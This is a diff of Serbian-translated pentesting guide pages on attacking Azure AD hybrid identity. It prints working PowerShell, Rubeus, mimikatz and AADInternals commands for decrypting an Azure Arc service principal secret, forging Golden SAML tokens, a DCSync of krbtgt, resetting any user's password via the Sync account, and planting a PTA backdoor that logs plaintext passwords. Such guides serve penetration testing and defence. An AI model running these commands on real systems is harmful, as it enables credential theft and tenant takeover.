# This will generate a .zip file to upload in the frontend (127.0.0.1:9091)
|
||||
```
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,17 +4,17 @@
|
||||
|
||||
### Identifikacija Problema
|
||||
|
||||
Azure Arc omogućava integraciju novih internih servera (servera pridruženih domenu) u Azure Arc koristeći metodu Group Policy Object. Da bi se to olakšalo, Microsoft pruža alat za implementaciju potreban za pokretanje procedure onboardinga. Unutar ArcEnableServerGroupPolicy.zip datoteke nalaze se sledeći skripti: DeployGPO.ps1, EnableAzureArc.ps1, i AzureArcDeployment.psm1.
|
||||
Azure Arc omogućava integraciju novih internih servera (servera pridruženih domenu) u Azure Arc koristeći metodu Group Policy Object. Da bi se to olakšalo, Microsoft pruža alat za implementaciju neophodan za pokretanje procedure onboardinga. Unutar ArcEnableServerGroupPolicy.zip datoteke nalaze se sledeći skripti: DeployGPO.ps1, EnableAzureArc.ps1, i AzureArcDeployment.psm1.
|
||||
|
||||
Kada se izvrši, DeployGPO.ps1 skripta obavlja sledeće radnje:
|
||||
|
||||
1. Kreira Azure Arc Servers Onboarding GPO unutar lokalnog domena.
|
||||
2. Kopira EnableAzureArc.ps1 skriptu za onboarding na određeni mrežni deo kreiran za proces onboardinga, koji takođe sadrži Windows instalacioni paket.
|
||||
|
||||
Kada se pokreće ova skripta, sys admini treba da obezbede dva glavna parametra: **ServicePrincipalId** i **ServicePrincipalClientSecret**. Pored toga, potrebni su i drugi parametri kao što su domen, FQDN servera koji hostuje share, i naziv share-a. Dodatne informacije kao što su tenant ID, resource group, i druge neophodne informacije takođe moraju biti obezbeđene skripti.
|
||||
Kada se pokreće ova skripta, sys administratori treba da obezbede dva glavna parametra: **ServicePrincipalId** i **ServicePrincipalClientSecret**. Pored toga, potrebni su i drugi parametri kao što su domen, FQDN servera koji hostuje share, i naziv share-a. Dodatne informacije kao što su tenant ID, resource group, i druge neophodne informacije takođe moraju biti obezbeđene skripti.
|
||||
|
||||
Enkriptovana tajna se generiše u AzureArcDeploy direktorijumu na određenom share-u koristeći DPAPI-NG enkripciju. Enkriptovana tajna se čuva u datoteci pod nazivom encryptedServicePrincipalSecret. Dokazi o ovome mogu se naći u DeployGPO.ps1 skripti, gde se enkripcija vrši pozivanjem ProtectBase64 sa $descriptor i $ServicePrincipalSecret kao ulazima. Deskriptor se sastoji od SID-ova grupe Domain Computer i Domain Controller, osiguravajući da se ServicePrincipalSecret može dekriptovati samo od strane grupe sigurnosti Domain Controllers i Domain Computers, kako je navedeno u komentarima skripte.
|
||||
```powershell
|
||||
```bash
|
||||
# Encrypting the ServicePrincipalSecret to be decrypted only by the Domain Controllers and the Domain Computers security groups
|
||||
$DomainComputersSID = "SID=" + $DomainComputersSID
|
||||
$DomainControllersSID = "SID=" + $DomainControllersSID
|
||||
@@ -22,29 +22,29 @@ $descriptor = @($DomainComputersSID, $DomainControllersSID) -join " OR "
|
||||
Import-Module $PSScriptRoot\AzureArcDeployment.psm1
|
||||
$encryptedSecret = [DpapiNgUtil]::ProtectBase64($descriptor, $ServicePrincipalSecret)
|
||||
```
|
||||
### Eksploatacija
|
||||
### Exploit
|
||||
|
||||
Imamo sledeće uslove:
|
||||
|
||||
1. Uspešno smo penetrirali unutrašnju mrežu.
|
||||
2. Imamo mogućnost da kreiramo ili preuzmemo kontrolu nad korisničkim nalogom unutar Active Directory.
|
||||
2. Imamo mogućnost da kreiramo ili preuzmemo kontrolu nad računom računara unutar Active Directory.
|
||||
3. Otkrili smo mrežno deljenje koje sadrži AzureArcDeploy direktorijum.
|
||||
|
||||
Postoji nekoliko metoda za dobijanje mašinskog naloga unutar AD okruženja. Jedna od najčešćih je eksploatacija kvote mašinskog naloga. Druga metoda uključuje kompromitovanje mašinskog naloga putem ranjivih ACL-ova ili raznih drugih pogrešnih konfiguracija.
|
||||
```powershell
|
||||
Postoji nekoliko metoda za dobijanje računa računara unutar AD okruženja. Jedna od najčešćih je iskorišćavanje kvote računa računara. Druga metoda uključuje kompromitovanje računa računara kroz ranjive ACL-ove ili razne druge pogrešne konfiguracije.
|
||||
```bash
|
||||
Import-MKodule powermad
|
||||
New-MachineAccount -MachineAccount fake01 -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
|
||||
```
|
||||
Kada se dobije nalog mašine, moguće je autentifikovati se koristeći ovaj nalog. Možemo koristiti komandu runas.exe sa netonly flagom ili koristiti pass-the-ticket sa Rubeus.exe.
|
||||
```powershell
|
||||
Kada se dobije nalog mašine, moguće je autentifikovati se koristeći ovaj nalog. Možemo ili koristiti runas.exe komandu sa netonly flagom ili koristiti pass-the-ticket sa Rubeus.exe.
|
||||
```bash
|
||||
runas /user:fake01$ /netonly powershell
|
||||
```
|
||||
|
||||
```powershell
|
||||
```bash
|
||||
.\Rubeus.exe asktgt /user:fake01$ /password:123456 /prr
|
||||
```
|
||||
Čuvajući TGT za naš korisnički nalog u memoriji, možemo koristiti sledeći skript za dešifrovanje tajne servisnog principala.
|
||||
```powershell
|
||||
```bash
|
||||
Import-Module .\AzureArcDeployment.psm1
|
||||
|
||||
$encryptedSecret = Get-Content "[shared folder path]\AzureArcDeploy\encryptedServicePrincipalSecret"
|
||||
|
||||
@@ -4,10 +4,10 @@
|
||||
|
||||
## Osnovne informacije
|
||||
|
||||
Integracija između **On-premises Active Directory (AD)** i **Azure AD** se olakšava putem **Azure AD Connect**, koji nudi različite metode koje podržavaju **Single Sign-on (SSO)**. Svaka metoda, iako korisna, predstavlja potencijalne sigurnosne ranjivosti koje bi mogle biti iskorišćene za kompromitovanje cloud ili on-premises okruženja:
|
||||
Integracija između **On-premises Active Directory (AD)** i **Azure AD** se olakšava putem **Azure AD Connect**, nudeći različite metode koje podržavaju **Single Sign-on (SSO)**. Svaka metoda, iako korisna, predstavlja potencijalne sigurnosne ranjivosti koje bi mogle biti iskorišćene za kompromitovanje cloud ili on-premises okruženja:
|
||||
|
||||
- **Pass-Through Authentication (PTA)**:
|
||||
- Moguća kompromitacija agenta na on-prem AD, što omogućava validaciju korisničkih lozinki za Azure konekcije (on-prem do Cloud).
|
||||
- Moguća kompromitacija agenta na on-prem AD, omogućavajući validaciju korisničkih lozinki za Azure konekcije (on-prem do Cloud).
|
||||
- Mogućnost registracije novog agenta za validaciju autentifikacija na novoj lokaciji (Cloud do on-prem).
|
||||
|
||||
{{#ref}}
|
||||
@@ -15,7 +15,7 @@ pta-pass-through-authentication.md
|
||||
{{#endref}}
|
||||
|
||||
- **Password Hash Sync (PHS)**:
|
||||
- Potencijalno vađenje lozinki u čistom tekstu privilegovanih korisnika iz AD, uključujući akreditive visoko privilegovanog, automatski generisanog AzureAD korisnika.
|
||||
- Potencijalno vađenje lozinki u čistom tekstu privilegovanih korisnika iz AD, uključujući kredencijale visoko privilegovanog, automatski generisanog AzureAD korisnika.
|
||||
|
||||
{{#ref}}
|
||||
phs-password-hash-sync.md
|
||||
@@ -36,7 +36,7 @@ seamless-sso.md
|
||||
{{#endref}}
|
||||
|
||||
- **Cloud Kerberos Trust**:
|
||||
- Mogućnost eskalacije sa Global Admin na on-prem Domain Admin manipulacijom AzureAD korisničkih imena i SIDs i zahtevom za TGT-ima iz AzureAD.
|
||||
- Mogućnost eskalacije sa Global Admin na on-prem Domain Admin manipulacijom AzureAD korisničkih imena i SIDs i zahtevom za TGT-ovima iz AzureAD.
|
||||
|
||||
{{#ref}}
|
||||
az-cloud-kerberos-trust.md
|
||||
@@ -49,10 +49,10 @@ az-cloud-kerberos-trust.md
|
||||
az-default-applications.md
|
||||
{{#endref}}
|
||||
|
||||
Za svaku metodu integracije, vrši se sinhronizacija korisnika, a `MSOL_<installationidentifier>` nalog se kreira u on-prem AD. Važno je napomenuti da obe metode **PHS** i **PTA** olakšavaju **Seamless SSO**, omogućavajući automatsko prijavljivanje za Azure AD računare pridružene on-prem domenu.
|
||||
Za svaku metodu integracije, sinhronizacija korisnika se vrši, a `MSOL_<installationidentifier>` nalog se kreira u on-prem AD. Važno je napomenuti da obe metode **PHS** i **PTA** olakšavaju **Seamless SSO**, omogućavajući automatsko prijavljivanje za Azure AD računare pridružene on-prem domeni.
|
||||
|
||||
Da biste verifikovali instalaciju **Azure AD Connect**, može se koristiti sledeća PowerShell komanda, koristeći **AzureADConnectHealthSync** modul (instaliran po defaultu sa Azure AD Connect):
|
||||
```powershell
|
||||
```bash
|
||||
Get-ADSyncConnector
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,15 +4,15 @@
|
||||
|
||||
## Sinhronizacija AzureAD korisnika sa on-prem da bi se eskaliralo sa on-prem na AzureAD
|
||||
|
||||
Da bi se sinhronizovao novi korisnik f**rom AzureAD to the on-prem AD** ovi su zahtevi:
|
||||
Da bi se sinhronizovao novi korisnik **iz AzureAD u on-prem AD**, potrebni su sledeći uslovi:
|
||||
|
||||
- **AzureAD korisnik** treba da ima proxy adresu (**mailbox**)
|
||||
- **AzureAD korisnik** treba da ima proxy adresu (jednu **mailbox**)
|
||||
- Licenca nije potrebna
|
||||
- Ne sme **već biti sinhronizovan**
|
||||
```powershell
|
||||
```bash
|
||||
Get-MsolUser -SerachString admintest | select displayname, lastdirsynctime, proxyaddresses, lastpasswordchangetimestamp | fl
|
||||
```
|
||||
Kada se korisnik poput ovih pronađe u AzureAD, da biste **pristupili njemu iz on-prem AD** potrebno je samo da **kreirate novi nalog** sa **proxyAddress** SMTP email.
|
||||
Kada se korisnik poput ovih pronađe u AzureAD, da biste **pristupili njemu iz on-prem AD** potrebno je samo da **kreirate novi nalog** sa **proxyAddress** SMTP email-om.
|
||||
|
||||
Automatski, ovaj korisnik će biti **sinhronizovan iz AzureAD u on-prem AD korisnika**.
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Osnovne informacije
|
||||
|
||||
[Iz dokumenata:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-fed)**Federacija** je skup **domena** koje su uspostavile **povjerenje**. Nivo povjerenja može varirati, ali obično uključuje **autentifikaciju** i gotovo uvek uključuje **autorizaciju**. Tipična federacija može uključivati **broj organizacija** koje su uspostavile **povjerenje** za **deljenje pristupa** skupu resursa.
|
||||
[Iz dokumenata:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-fed)**Federacija** je skup **domena** koje su uspostavile **povjerenje**. Nivo povjerenja može varirati, ali obično uključuje **autentifikaciju** i gotovo uvek uključuje **autorizaciju**. Tipična federacija može uključivati **broj organizacija** koje su uspostavile **povjerenje** za **zajednički pristup** skupu resursa.
|
||||
|
||||
Možete **federisati svoje on-premises** okruženje **sa Azure AD** i koristiti ovu federaciju za autentifikaciju i autorizaciju. Ova metoda prijavljivanja osigurava da se sva **autentifikacija korisnika odvija on-premises**. Ova metoda omogućava administratorima da implementiraju rigoroznije nivoe kontrole pristupa. Federacija sa **AD FS** i PingFederate je dostupna.
|
||||
|
||||
@@ -38,7 +38,7 @@ https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html
|
||||
## Pivotiranje
|
||||
|
||||
- AD FS je model identiteta zasnovan na tvrdnjama.
|
||||
- "..tvrdnje su jednostavno izjave (na primer, ime, identitet, grupa), koje se daju o korisnicima, a koriste se prvenstveno za autorizaciju pristupa aplikacijama zasnovanim na tvrdnjama smeštenim bilo gde na internetu."
|
||||
- "..tvrdnje su jednostavno izjave (na primer, ime, identitet, grupa), koje se daju o korisnicima, a koriste se prvenstveno za autorizaciju pristupa aplikacijama zasnovanim na tvrdnjama smeštenim bilo gde na Internetu."
|
||||
- Tvrdnje za korisnika se pišu unutar SAML tokena i zatim se potpisuju kako bi se obezbedila poverljivost od strane IdP-a.
|
||||
- Korisnik se identifikuje pomoću ImmutableID. On je globalno jedinstven i čuva se u Azure AD.
|
||||
- ImmutableID se čuva on-prem kao ms-DS-ConsistencyGuid za korisnika i/ili se može izvesti iz GUID-a korisnika.
|
||||
@@ -48,30 +48,30 @@ https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html
|
||||
|
||||
- U ADFS-u, SAML Response se potpisuje sertifikatom za potpisivanje tokena.
|
||||
- Ako je sertifikat kompromitovan, moguće je autentifikovati se na Azure AD kao BILO KOJI korisnik sinhronizovan sa Azure AD!
|
||||
- Baš kao i naš zlostavljanje PTA, promena lozinke za korisnika ili MFA neće imati nikakav efekat jer falsifikujemo odgovor na autentifikaciju.
|
||||
- Baš kao i naš PTA zlostavljanje, promena lozinke za korisnika ili MFA neće imati nikakav efekat jer falsifikujemo odgovor na autentifikaciju.
|
||||
- Sertifikat se može izvući sa AD FS servera sa DA privilegijama i zatim se može koristiti sa bilo kog računara povezanog na internet.
|
||||
- Više informacija na [https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps](https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)
|
||||
|
||||
### Golden SAML
|
||||
|
||||
Proces u kojem **Provajder identiteta (IdP)** proizvodi **SAMLResponse** za autorizaciju prijavljivanja korisnika je od suštinskog značaja. U zavisnosti od specifične implementacije IdP-a, **odgovor** može biti **potpisan** ili **kriptovan** koristeći **privatni ključ IdP-a**. Ova procedura omogućava **Provajderu usluga (SP)** da potvrdi autentičnost SAMLResponse-a, osiguravajući da je zaista izdat od strane poverenog IdP-a.
|
||||
Proces u kojem **Provajder identiteta (IdP)** proizvodi **SAMLResponse** za autorizaciju prijavljivanja korisnika je od suštinskog značaja. U zavisnosti od specifične implementacije IdP-a, **odgovor** može biti **potpisan** ili **šifrovan** koristeći **privatni ključ IdP-a**. Ova procedura omogućava **Provajderu usluga (SP)** da potvrdi autentičnost SAMLResponse-a, osiguravajući da je zaista izdat od strane poverenog IdP-a.
|
||||
|
||||
Može se povući paralela sa [napadom zlatne karte](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html#golden-ticket), gde se ključ koji autentifikuje identitet i dozvole korisnika (KRBTGT za zlatne karte, privatni ključ za potpisivanje tokena za zlatne SAML) može manipulisati da **falsifikuje objekat autentifikacije** (TGT ili SAMLResponse). Ovo omogućava impersonaciju bilo kog korisnika, dajući neovlašćen pristup SP-u.
|
||||
Može se povući paralela sa [napadom zlatne karte](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html#golden-ticket), gde se ključ koji autentifikuje identitet i dozvole korisnika (KRBTGT za zlatne karte, privatni ključ za potpisivanje tokena za zlatni SAML) može manipulisati da **falsifikuje objekat autentifikacije** (TGT ili SAMLResponse). Ovo omogućava impersonaciju bilo kog korisnika, dajući neovlašćen pristup SP-u.
|
||||
|
||||
Zlatni SAML-ovi nude određene prednosti:
|
||||
Zlatni SAML nudi određene prednosti:
|
||||
|
||||
- Mogu se **kreirati na daljinu**, bez potrebe da budu deo domena ili federacije u pitanju.
|
||||
- Ostaju efikasni čak i sa **dvofaktorskom autentifikacijom (2FA)** uključenom.
|
||||
- Privatni ključ za potpisivanje **tokena se automatski ne obnavlja**.
|
||||
- **Promena lozinke korisnika ne poništava** već generisani SAML.
|
||||
|
||||
#### AWS + AD FS + Golden SAML
|
||||
#### AWS + AD FS + Zlatni SAML
|
||||
|
||||
[Active Directory Federation Services (AD FS)](<https://docs.microsoft.com/en-us/previous-versions/windows/server-2008/bb897402(v=msdn.10)>) je Microsoftova usluga koja olakšava **sigurnu razmenu informacija o identitetu** između poverenih poslovnih partnera (federacija). U suštini, omogućava usluzi domena da deli identitete korisnika sa drugim provajderima usluga unutar federacije.
|
||||
|
||||
Sa AWS-om koji veruje kompromitovanom domenu (u federaciji), ova ranjivost se može iskoristiti da potencijalno **dobije bilo kakve dozvole u AWS okruženju**. Napad zahteva **privatni ključ koji se koristi za potpisivanje SAML objekata**, slično kao što je potrebno KRBTGT u napadu zlatne karte. Pristup AD FS korisničkom nalogu je dovoljan da se dobije ovaj privatni ključ.
|
||||
Sa AWS-om koji veruje kompromitovanom domenu (u federaciji), ova ranjivost se može iskoristiti da potencijalno **dobije bilo koje dozvole u AWS okruženju**. Napad zahteva **privatni ključ koji se koristi za potpisivanje SAML objekata**, slično kao što je potrebno KRBTGT u napadu zlatne karte. Pristup AD FS korisničkom nalogu je dovoljan da se dobije ovaj privatni ključ.
|
||||
|
||||
Zahtevi za izvršavanje napada zlatnog SAML-a uključuju:
|
||||
Zahtevi za izvođenje napada zlatnog SAML uključuju:
|
||||
|
||||
- **Privatni ključ za potpisivanje tokena**
|
||||
- **IdP javni sertifikat**
|
||||
@@ -83,8 +83,8 @@ Zahtevi za izvršavanje napada zlatnog SAML-a uključuju:
|
||||
|
||||
_Samo stavke u podebljanom su obavezne. Ostale se mogu popuniti po želji._
|
||||
|
||||
Da biste dobili **privatni ključ**, potreban je pristup **AD FS korisničkom nalogu**. Odatle, privatni ključ se može **izvesti iz lične prodavnice** koristeći alate kao što je [mimikatz](https://github.com/gentilkiwi/mimikatz). Da biste prikupili druge potrebne informacije, možete koristiti Microsoft.Adfs.Powershell snapin na sledeći način, osiguravajući da ste prijavljeni kao ADFS korisnik:
|
||||
```powershell
|
||||
Da biste dobili **privatni ključ**, potreban je pristup **AD FS korisničkom nalogu**. Odatle, privatni ključ se može **izvesti iz lične biblioteke** koristeći alate kao što je [mimikatz](https://github.com/gentilkiwi/mimikatz). Da biste prikupili druge potrebne informacije, možete koristiti Microsoft.Adfs.Powershell snapin na sledeći način, osiguravajući da ste prijavljeni kao ADFS korisnik:
|
||||
```bash
|
||||
# From an "AD FS" session
|
||||
# After having exported the key with mimikatz
|
||||
|
||||
@@ -115,7 +115,7 @@ python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -
|
||||
<figure><img src="../../../../images/image (128).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### On-prem -> cloud
|
||||
```powershell
|
||||
```bash
|
||||
# With a domain user you can get the ImmutableID of the target user
|
||||
[System.Convert]::ToBase64String((Get-ADUser -Identity <username> | select -ExpandProperty ObjectGUID).tobytearray())
|
||||
|
||||
@@ -134,7 +134,7 @@ Export-AADIntADFSSigningCertificate
|
||||
Open-AADIntOffice365Portal -ImmutableID v1pOC7Pz8kaT6JWtThJKRQ== -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Documents\ADFSSigningCertificate.pfx -Verbose
|
||||
```
|
||||
Takođe je moguće kreirati ImmutableID za korisnike koji su samo u oblaku i imitirati ih.
|
||||
```powershell
|
||||
```bash
|
||||
# Create a realistic ImmutableID and set it for a cloud only user
|
||||
[System.Convert]::ToBase64String((New-Guid).tobytearray())
|
||||
Set-AADIntAzureADObject -CloudAnchor "User_19e466c5-d938-1293-5967-c39488bca87e" -SourceAnchor "aodilmsic30fugCUgHxsnK=="
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Osnovne informacije
|
||||
|
||||
[Iz dokumenata:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **Sinhronizacija heša lozinke** je jedna od metoda prijavljivanja koja se koristi za postizanje hibridnog identiteta. **Azure AD Connect** sinhronizuje heš, heša, lozinke korisnika iz lokalne instance Active Directory u instancu Azure AD u oblaku.
|
||||
[Iz dokumenata:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **Sinhronizacija heša lozinke** je jedna od metoda prijavljivanja koja se koristi za postizanje hibridnog identiteta. **Azure AD Connect** sinhronizuje heš, heša, lozinke korisnika iz lokalne instance Active Directory u cloud baziranu Azure AD instancu.
|
||||
|
||||
<figure><img src="../../../../images/image (173).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@@ -13,18 +13,18 @@ To je **najčešća metoda** koju koriste kompanije za sinhronizaciju lokalnog A
|
||||
Svi **korisnici** i **heš heševa lozinki** se sinhronizuju iz lokalnog u Azure AD. Međutim, **lozinke u čistom tekstu** ili **originalni** **heševi** se ne šalju u Azure AD.\
|
||||
Štaviše, **ugrađene** bezbednosne grupe (kao što su administratori domena...) **nisu sinhronizovane** u Azure AD.
|
||||
|
||||
**Sinhronizacija heševa** se dešava svake **2 minute**. Međutim, prema zadanim postavkama, **istek lozinke** i **istek naloga** **nisu sinhronizovani** u Azure AD. Tako da korisnik čija je **lokalna lozinka istekla** (nije promenjena) može nastaviti da **pristupa Azure resursima** koristeći staru lozinku.
|
||||
**Sinhronizacija heševa** se dešava svake **2 minute**. Međutim, prema podrazumevanju, **istek lozinke** i **istek naloga** **nisu sinhronizovani** u Azure AD. Tako da korisnik čija je **lokalna lozinka istekla** (nije promenjena) može nastaviti da **pristupa Azure resursima** koristeći staru lozinku.
|
||||
|
||||
Kada lokalni korisnik želi da pristupi Azure resursu, **autentifikacija se vrši na Azure AD**.
|
||||
|
||||
**PHS** je potreban za funkcije kao što su **Zaštita identiteta** i AAD usluge domena.
|
||||
**PHS** je neophodan za funkcije kao što su **Zaštita identiteta** i AAD usluge domena.
|
||||
|
||||
## Prebacivanje
|
||||
## Pivotiranje
|
||||
|
||||
Kada je PHS konfigurisan, neka **privilegovana akounta** se automatski **kreiraju**:
|
||||
Kada je PHS konfiguran, neka **privilegovana akounta** se automatski **kreiraju**:
|
||||
|
||||
- Akount **`MSOL_<installationID>`** se automatski kreira u lokalnom AD. Ovaj akount dobija ulogu **Računa za sinhronizaciju direktorijuma** (vidi [dokumentaciju](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)) što znači da ima **dozvole za replikaciju (DCSync) u lokalnom AD**.
|
||||
- Akount **`Sync_<ime lokalnog ADConnect Servera>_installationID`** se kreira u Azure AD. Ovaj akount može **resetovati lozinku BILO kojem korisniku** (sinhronizovanom ili samo u oblaku) u Azure AD.
|
||||
- Akount **`Sync_<ime lokalnog ADConnect servera>_installationID`** se kreira u Azure AD. Ovaj akount može **resetovati lozinku BILO kojem korisniku** (sinhronizovanom ili samo u cloudu) u Azure AD.
|
||||
|
||||
Lozinke prethodna dva privilegovana akounta su **smeštene u SQL server** na serveru gde je **Azure AD Connect instaliran.** Administratori mogu izvući lozinke tih privilegovanih korisnika u čistom tekstu.\
|
||||
Baza podataka se nalazi u `C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf`.
|
||||
@@ -40,15 +40,15 @@ Možete pronaći [potpun pregled o tome kako su ove akreditive pohranjene i deš
|
||||
### Pronalaženje **Azure AD connect servera**
|
||||
|
||||
Ako je **server na kojem je instaliran Azure AD connect** pridružen domenu (preporučeno u dokumentima), moguće je pronaći ga sa:
|
||||
```powershell
|
||||
```bash
|
||||
# ActiveDirectory module
|
||||
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAccountName,Description | fl
|
||||
|
||||
#Azure AD module
|
||||
Get-AzureADUser -All $true | ?{$_.userPrincipalName -match "Sync_"}
|
||||
```
|
||||
### Zloupotreba MSOL\_\*
|
||||
```powershell
|
||||
### Zloupotreba MSOL\_*
|
||||
```bash
|
||||
# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
|
||||
Get-AADIntSyncCredentials
|
||||
|
||||
@@ -62,7 +62,7 @@ Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.lo
|
||||
### Zloupotreba Sync\_\*
|
||||
|
||||
Kompromitovanjem **`Sync_*`** naloga moguće je **resetovati lozinku** bilo kog korisnika (uključujući Globalne Administratore)
|
||||
```powershell
|
||||
```bash
|
||||
# This command, run previously, will give us alse the creds of this account
|
||||
Get-AADIntSyncCredentials
|
||||
|
||||
@@ -83,7 +83,7 @@ Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustA
|
||||
# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)
|
||||
```
|
||||
Takođe je moguće **modifikovati lozinke samo za cloud** korisnike (čak i ako to nije očekivano)
|
||||
```powershell
|
||||
```bash
|
||||
# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
|
||||
# The CloudAnchor is of the format USER_ObjectID.
|
||||
Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID
|
||||
@@ -91,10 +91,10 @@ Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,Obj
|
||||
# Reset password
|
||||
Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers
|
||||
```
|
||||
Takođe je moguće izvući lozinku ovog korisnika.
|
||||
Moguće je i izvući lozinku ovog korisnika.
|
||||
|
||||
> [!CAUTION]
|
||||
> Druga opcija bi bila da **dodelite privilegovane dozvole servisnom principalu**, što korisnik **Sync** ima **dozvole** da uradi, a zatim **pristupite tom servisnom principalu** kao način za privesc.
|
||||
> Druga opcija bi bila da **dodelite privilegovane dozvole servisnom principalu**, što **Sync** korisnik ima **dozvole** da uradi, a zatim **pristupite tom servisnom principalu** kao način za privesc.
|
||||
|
||||
### Seamless SSO
|
||||
|
||||
@@ -104,7 +104,7 @@ Moguće je koristiti Seamless SSO sa PHS, koji je podložan drugim zloupotrebama
|
||||
seamless-sso.md
|
||||
{{#endref}}
|
||||
|
||||
## Reference
|
||||
## References
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs)
|
||||
- [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
|
||||
|
||||
@@ -1,10 +1,10 @@
|
||||
# Az - PTA - Pass-through Authentication
|
||||
# Az - PTA - Prolazna autentifikacija
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Osnovne informacije
|
||||
|
||||
[Iz dokumenata:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Azure Active Directory (Azure AD) Pass-through Authentication omogućava vašim korisnicima da **prijave se na aplikacije koje se nalaze na lokaciji i u oblaku koristeći iste lozinke**. Ova funkcija pruža vašim korisnicima bolje iskustvo - jedna lozinka manje za pamćenje, i smanjuje troškove IT podrške jer je manje verovatno da će korisnici zaboraviti kako da se prijave. Kada se korisnici prijave koristeći Azure AD, ova funkcija **validira lozinke korisnika direktno protiv vašeg lokalnog Active Directory-a**.
|
||||
[Iz dokumenata:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Azure Active Directory (Azure AD) Prolazna autentifikacija omogućava vašim korisnicima da **prijave se na lokalne i aplikacije u oblaku koristeći iste lozinke**. Ova funkcija pruža vašim korisnicima bolje iskustvo - jedna lozinka manje za pamćenje, i smanjuje troškove IT podrške jer je manje verovatno da će vaši korisnici zaboraviti kako da se prijave. Kada se korisnici prijave koristeći Azure AD, ova funkcija **validira lozinke korisnika direktno protiv vašeg lokalnog Active Directory-a**.
|
||||
|
||||
U PTA **identiteti** su **sinhronizovani** ali **lozinke** **nisu** kao u PHS.
|
||||
|
||||
@@ -16,24 +16,24 @@ Autentifikacija se validira u lokalnom AD-u, a komunikacija sa oblakom se vrši
|
||||
|
||||
1. Da bi se **prijavio**, korisnik se preusmerava na **Azure AD**, gde šalje **korisničko ime** i **lozinku**
|
||||
2. **Akreditivi** se **šifruju** i postavljaju u **red** u Azure AD
|
||||
3. **Lokalni autentifikacioni agent** prikuplja **akreditive** iz reda i **dešifruje** ih. Ovaj agent se naziva **"Pass-through authentication agent"** ili **PTA agent.**
|
||||
3. **Lokalni autentifikacioni agent** prikuplja **akreditive** iz reda i **dešifruje** ih. Ovaj agent se naziva **"Agent prolazne autentifikacije"** ili **PTA agent.**
|
||||
4. **Agent** **validira** akreditive protiv **lokalnog AD-a** i šalje **odgovor** **nazad** Azure AD-u koji, ako je odgovor pozitivan, **kompletira prijavu** korisnika.
|
||||
|
||||
> [!WARNING]
|
||||
> Ako napadač **kompromituje** **PTA**, može **videti** sve **akreditive** iz reda (u **čistom tekstu**).\
|
||||
> Takođe može **validirati bilo koje akreditive** za AzureAD (sličan napad kao na Skeleton key).
|
||||
|
||||
### On-Prem -> oblak
|
||||
### Lokalno -> oblak
|
||||
|
||||
Ako imate **admin** pristup **Azure AD Connect serveru** na kojem radi **PTA** **agent**, možete koristiti **AADInternals** modul da **ubacite backdoor** koji će **validirati SVE lozinke** koje su unete (tako da će sve lozinke biti validne za autentifikaciju):
|
||||
```powershell
|
||||
Ako imate **admin** pristup **Azure AD Connect serveru** na kojem radi **PTA** **agent**, možete koristiti **AADInternals** modul da **ubacite backdoor** koji će **validirati SVE lozinke** unesene (tako da će sve lozinke biti validne za autentifikaciju):
|
||||
```bash
|
||||
Install-AADIntPTASpy
|
||||
```
|
||||
> [!NOTE]
|
||||
> Ako **instalacija ne uspe**, to je verovatno zbog nedostatka [Microsoft Visual C++ 2015 Redistributables](https://download.microsoft.com/download/6/A/A/6AA4EDFF-645B-48C5-81CC-ED5963AEAD48/vc_redist.x64.exe).
|
||||
|
||||
Takođe je moguće **videti lozinke u čistom tekstu koje se šalju PTA agentu** koristeći sledeći cmdlet na mašini gde je prethodni backdoor instaliran:
|
||||
```powershell
|
||||
```bash
|
||||
Get-AADIntPTASpyLog -DecodePasswords
|
||||
```
|
||||
Ova backdoor će:
|
||||
|
||||
@@ -12,7 +12,7 @@ U suštini, Azure AD Seamless SSO **prijavljuje korisnike** kada su **na PC-u pr
|
||||
|
||||
Podržava ga i [**PHS (Password Hash Sync)**](phs-password-hash-sync.md) i [**PTA (Pass-through Authentication)**](pta-pass-through-authentication.md).
|
||||
|
||||
